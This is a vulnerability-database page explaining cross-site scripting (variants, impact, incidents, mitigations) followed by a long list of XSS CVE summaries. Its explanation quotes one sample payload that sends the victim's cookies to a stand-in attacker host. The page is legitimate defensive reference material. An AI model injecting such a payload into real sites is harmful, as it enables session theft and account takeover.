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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 1% CVSS 5.4
MEDIUM This Month

In Nexus Repository Manager before 3.18.0, users with elevated privileges can create stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nexus Repository Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The give plugin before 2.4.7 for WordPress has XSS via a donor name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Givewp
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

tiki/tiki-upload_file.php in Tiki 18.4 allows remote attackers to upload JavaScript code that is executed upon visiting a tiki/tiki-download_file.php?display&fileId= URI. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Tikiwiki Cms Groupware
NVD
EPSS 7% CVSS 5.4
MEDIUM POC This Month

In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.837, XSS in the domain parameter allows a low-privilege user to achieve root access via the email list page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Webpanel
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

REDCap before 9.3.0 allows XSS attacks against non-administrator accounts on the Data Import Tool page via a CSV data import file. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Redcap
NVD
EPSS 2% CVSS 9.6
CRITICAL POC PATCH Act Now

The Timeline feature in my_view_page.php in MantisBT through 2.21.1 has a stored cross-site scripting (XSS) vulnerability, allowing execution of arbitrary code (if CSP settings permit it) after. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS RCE PHP +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Unified Contact Center Express (Unified CCX) could allow an authenticated, remote attacker to conduct a stored cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Unified Contact Center Express
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The wp-slimstat plugin before 4.8.1 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Slimstat Analytics
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The wp-front-end-profile plugin before 0.2.2 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Wp Front End Profile
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The the-events-calendar plugin before 4.8.2 for WordPress has XSS via the tribe_paged URL parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress The Events Calendar
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Emptoris Spend Analysis 10.1.0 through 10.1.3 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Emptoris Spend Analysis
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Cloud Private 3.1.1 and 3.1.2 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Cloud Private
NVD
EPSS 0% CVSS 7.3
HIGH This Week

In ChangeDefaultDialerDialog.java, there is a possible escalation of privilege due to an overlay attack. Rated high severity (CVSS 7.3), this vulnerability is low attack complexity. No vendor patch available.

XSS Privilege Escalation Google +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In OpenEMR 5.0.1 and earlier, controller.php contains a reflected XSS vulnerability in the foreign_id parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In OpenEMR 5.0.1 and earlier, controller.php contains a reflected XSS vulnerability in the document_id parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE PHP +1
NVD
EPSS 54% CVSS 6.1
MEDIUM POC THREAT This Month

In OpenEMR 5.0.1 and earlier, controller.php contains a reflected XSS vulnerability in the doc_id parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE PHP +1
NVD
EPSS 54% CVSS 6.1
MEDIUM POC THREAT This Month

In OpenEMR 5.0.1 and earlier, controller.php contains a reflected XSS vulnerability in the patient_id parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Live:Text Box macro in the Old Street Live Input Macros app before 2.11 for Confluence has XSS, leading to theft of the Administrator Session Cookie. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Atlassian Live Input Macros
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The 360-product-rotation plugin before 1.4.8 for WordPress has reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress 360 Product Rotation
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OX App Suite 7.10.0 to 7.10.2 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Xchange Appsuite
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

FlightPath 4.8.3 has XSS in the Content, Edit urgent message, and Users sections of the Admin Console. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Flightpath
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

FUEL CMS 1.4.4 has XSS in the Create Blocks section of the Admin console. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fuel Cms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability exists in various firmware versions of the legacy IBM System x IMM (IMM v1) embedded Baseboard Management Controller (BMC). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Bladecenter Hs22 Firmware +14
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The easy-digital-downloads plugin before 2.9.16 for WordPress has XSS related to IP address logging. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Easy Digital Downloads
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Kunena extension before 5.1.14 for Joomla!. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kunena
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

An issue was discovered in WSO2 API Manager 2.6.0 before WSO2-CARBON-PATCH-4.4.0-4457. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Api Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DWSurvey through 2019-07-22 has reflected XSS via the design/qu-multi-fillblank!answers.action surveyId parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dwsurvey
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The Custom 404 Pro plugin 3.2.8 for WordPress has XSS via the wp-admin/admin.php?page=c4p-main page parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The "CP Contact Form with PayPal" plugin before 1.2.98 for WordPress has XSS in CSS edition. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Cp Contact Form With Paypal
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Evolution CMS 2.0.x allows XSS via a description and new category location in a template. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Evolution Cms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

All versions up to V1.1.10P3T18 of ZTE ZXHN F670 product are impacted by cross-site scripting vulnerability (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zte Zxhn F670 Firmware
NVD
EPSS 2% CVSS 4.8
MEDIUM POC This Month

OpenCart 3.x, when the attacker has login access to the admin panel, allows stored XSS within the Source/HTML editing feature of the Categories, Product, and Information pages. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Opencart
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The toggle-the-title (aka Toggle The Title) plugin 1.4 for WordPress has XSS via the wp-admin/admin-ajax.php?action=update_title_options isAutoSaveValveChecked or isDisableAllPagesValveChecked. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The limb-gallery (aka Limb Gallery) plugin 1.4.0 for WordPress has XSS via the wp-admin/admin-ajax.php?action=grsGalleryAjax&grsAction=shortcode task parameter,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

XSS exists in WEB STUDIO Ultimate Loan Manager 2.0 by adding a branch under the Branches button that sets the notes parameter with crafted JavaScript code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ultimate Loan Manager
NVD Exploit-DB
EPSS 4% CVSS 5.4
MEDIUM PATCH This Month

A spoofing vulnerability exists in the way Microsoft Outlook iOS software parses specifically crafted email messages. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Apple +1
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Sharepoint Enterprise Server +1
NVD
EPSS 1% CVSS 7.1
HIGH This Week

Clickjack vulnerability in Adminstrator web console in McAfee Web Gateway (MWG) 7.8.2.x prior to 7.8.2.12 allows remote attackers to conduct clickjacking attacks via a crafted web page that contains. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Web Gateway
NVD
EPSS 1% CVSS 6.8
MEDIUM POC This Month

The "HTML Include and replace macro" plugin before 1.5.0 for Confluence Server allows a bypass of the includeScripts=false XSS protection mechanism via vectors involving an IFRAME element. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Atlassian Html Include And Replace Macro
NVD GitHub
EPSS 31% CVSS 6.1
MEDIUM POC THREAT This Month

SugarCRM Enterprise 9.0.0 allows mobile/error-not-supported-platform.html?desktop_url= XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sugarcrm
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

Java Proxy Runtime of SAP NetWeaver Process Integration, versions 7.10, 7.11, 7.30, 7.31, 7.40, 7.50, does not sufficiently encode user-controlled inputs and allows an attacker to execute malicious. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Java SAP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Under certain conditions SAP BusinessObjects Business Intelligence Platform (Central Management Console), versions 4.1, 4.2, 4.3, allows an attacker to store a malicious payload within the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

When creating a module in SAP BusinessObjects Business Intelligence Platform (BI Workspace), versions 4.1, 4.2, 4.3, it is possible to store a malicious script which when executed later could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP BusinessObjects Business Intelligence Platform (Info View), versions 4.1, 4.2, 4.3, allows an attacker to give some payload for keyword in the search and it will be executed while search performs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence
NVD
EPSS 1% CVSS 8.8
HIGH This Week

The web server component of TIBCO Software Inc.'s TIBCO LogLogic Enterprise Virtual Appliance, and TIBCO LogLogic Log Management Intelligence contains multiple vulnerabilities that theoretically. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Loglogic Enterprise Virtual Appliance +21
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Adive Framework through 2.0.7 is affected by XSS in the Create New Table and Create New Navigation Link functions. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Framework
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

iCMS 7.0.15 allows admincp.php?app=apps XSS via the keywords parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Icms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in Frappe Framework 10, 11 before 11.1.46, and 12. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Frappe
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The ultimate-member plugin before 2.0.52 for WordPress has XSS during an account upgrade. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ultimate Member
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The ultimate-member plugin before 2.0.52 for WordPress has XSS related to UM Roles create and edit operations. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ultimate Member
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The ultimate-member plugin before 2.0.54 for WordPress has XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ultimate Member
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The wp-live-chat-support plugin before 8.0.27 for WordPress has XSS via the GDPR page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Live Chat
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The wp-database-backup plugin before 5.1.2 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Wp Database Backup
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The woocommerce-product-addon plugin before 18.4 for WordPress has XSS via an import of a new meta data structure. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ppom For Woocommerce
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In the MobileFrontend extension 1.31 through 1.33 for MediaWiki, XSS exists within the edit summary field in includes/specials/MobileSpecialPageFeed.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Mobilefrontend
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cloud Foundry UAA, versions prior to 74.0.0, is vulnerable to an XSS attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS User Account And Authentication
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In Eclipse BIRT versions 1.0 to 4.7, the Report Viewer allows Reflected XSS in URL parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Business Intelligence And Reporting Tools
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote multiple cross-site scripting vulnerability was discovered in HPE 3PAR StoreServ Management and Core Software Media version(s): prior to 3.5.0.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3Par Storeserv Management Console
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A remote multiple multiple cross-site vulnerability was discovered in HPE 3PAR Service Processor version(s): prior to 5.0.5.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3Par Service Processor Firmware
NVD
EPSS 4% CVSS 9.4
CRITICAL Act Now

A remote bypass of security restrictions vulnerability was discovered in HPE 3PAR Service Processor version(s): prior to 5.0.5.1. Rated critical severity (CVSS 9.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS 3Par Service Processor Firmware
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

studio/builder_menu.php?page=sets in UNA 10.0.0-RC1 allows XSS via the System Name field under Sets during set editing. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Una
NVD GitHub
EPSS 3% CVSS 4.8
MEDIUM POC This Month

studio/polyglot.php?page=etemplates in UNA 10.0.0-RC1 allows XSS via the System Name field under Emails during template editing. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Una
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM This Month

The 10Web Photo Gallery plugin before 1.5.23 for WordPress has authenticated stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Photo Gallery
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The mq-woocommerce-products-price-bulk-edit (aka Woocommerce Products Price Bulk Edit) plugin 2.0 for WordPress allows XSS via the wp-admin/admin-ajax.php?action=update_options. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Appointment Booking Calendar plugin 1.3.18 for WordPress allows XSS via the wp-admin/admin-post.php editionarea parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The FV Flowplayer Video Player plugin before 7.3.14.727 for WordPress allows email subscription XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Fv Flowplayer Video Player
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WP Google Maps plugin before 7.11.35 for WordPress allows XSS via the wp-admin/ rectangle_name or rectangle_opacity parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Google +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Tribulant Newsletters plugin before 4.6.19 for WordPress allows XSS via the wp-admin/admin-ajax.php?action=newsletters_load_new_editor contentarea parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The "CP Contact Form with PayPal" plugin before 1.2.99 for WordPress has XSS in the publishing wizard via the wp-admin/admin.php?page=cp_contact_form_paypal.php&pwizard=1 cp_contactformpp_id. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The woo-variation-swatches (aka Variation Swatches for WooCommerce) plugin 1.0.61 for WordPress allows XSS via the wp-admin/admin.php?page=woo-variation-swatches-settings tab parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 3% CVSS 6.1
MEDIUM PATCH This Month

Policy import functionality in Apache Ranger 0.7.0 to 1.2.0 is vulnerable to a cross-site scripting issue. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Ranger
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

verdaccio before 3.12.0 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Verdaccio
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC This Month

1CRM On-Premise Software 8.5.7 allows XSS via a payload that is mishandled during a Run Report operation. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS 1Crm On Premise
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web portal framework of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Enterprise Network Function Virtualization Infrastructure
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based interface of the Cisco SPA112 2-Port Phone Adapter could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against another user. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Spa112 2 Port Phone Adapter Firmware
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In Backdrop CMS 1.12.x before 1.12.8 and 1.13.x before 1.13.3, some menu links within the administration bar may be crafted to execute JavaScript when the administrator is logged in and uses the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Backdrop Core
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Backdrop CMS 1.12.x before 1.12.8 and 1.13.x before 1.13.3 doesn't sufficiently filter output when displaying certain block labels created by administrators. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Backdrop
NVD
EPSS 12% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 11.7%.

XSS PHP Osticket
NVD GitHub Exploit-DB VulDB
EPSS 3% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Osticket
NVD GitHub Exploit-DB VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DWSurvey through 2019-07-22 has stored XSS via the design/my-survey-design!copySurvey.action surveyName parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dwsurvey
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting vulnerability in Jenkins Wall Display Plugin 0.6.34 and earlier allows attackers to inject arbitrary HTML and JavaScript into web pages provided by this plugin. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jenkins Wall Display
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting vulnerability in Jenkins PegDown Formatter Plugin 1.3 and earlier allows attackers able to edit descriptions and other fields rendered using the configured markup. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Pegdown Formatter
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting vulnerability in Jenkins Build Pipeline Plugin 1.5.8 and earlier allows attackers able to edit the build pipeline description to inject arbitrary HTML and JavaScript in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Build Pipeline
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in ZenTao 11.5.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zentao
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in TeamPass 2.1.27.35. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Teampass
NVD GitHub
EPSS 16% CVSS 6.1
MEDIUM POC THREAT This Month

Open-School 3.0, and Community Edition 2.3, allows XSS via the osv/index.php?r=students/guardians/create id parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Open School
NVD Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III 4.7.17.5 is vulnerable to stored XSS due to the lack of filtration of user-supplied data in the liability name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

